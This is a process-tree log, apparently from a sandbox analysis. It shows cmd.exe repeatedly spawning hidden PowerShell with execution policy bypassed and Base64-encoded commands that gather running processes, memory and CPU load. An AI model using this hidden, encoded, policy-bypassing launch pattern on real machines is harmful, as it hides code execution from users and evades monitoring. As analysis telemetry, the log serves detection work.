- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:6116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:5544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:5808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:236
- C:\Windows\system32\cmd.exe
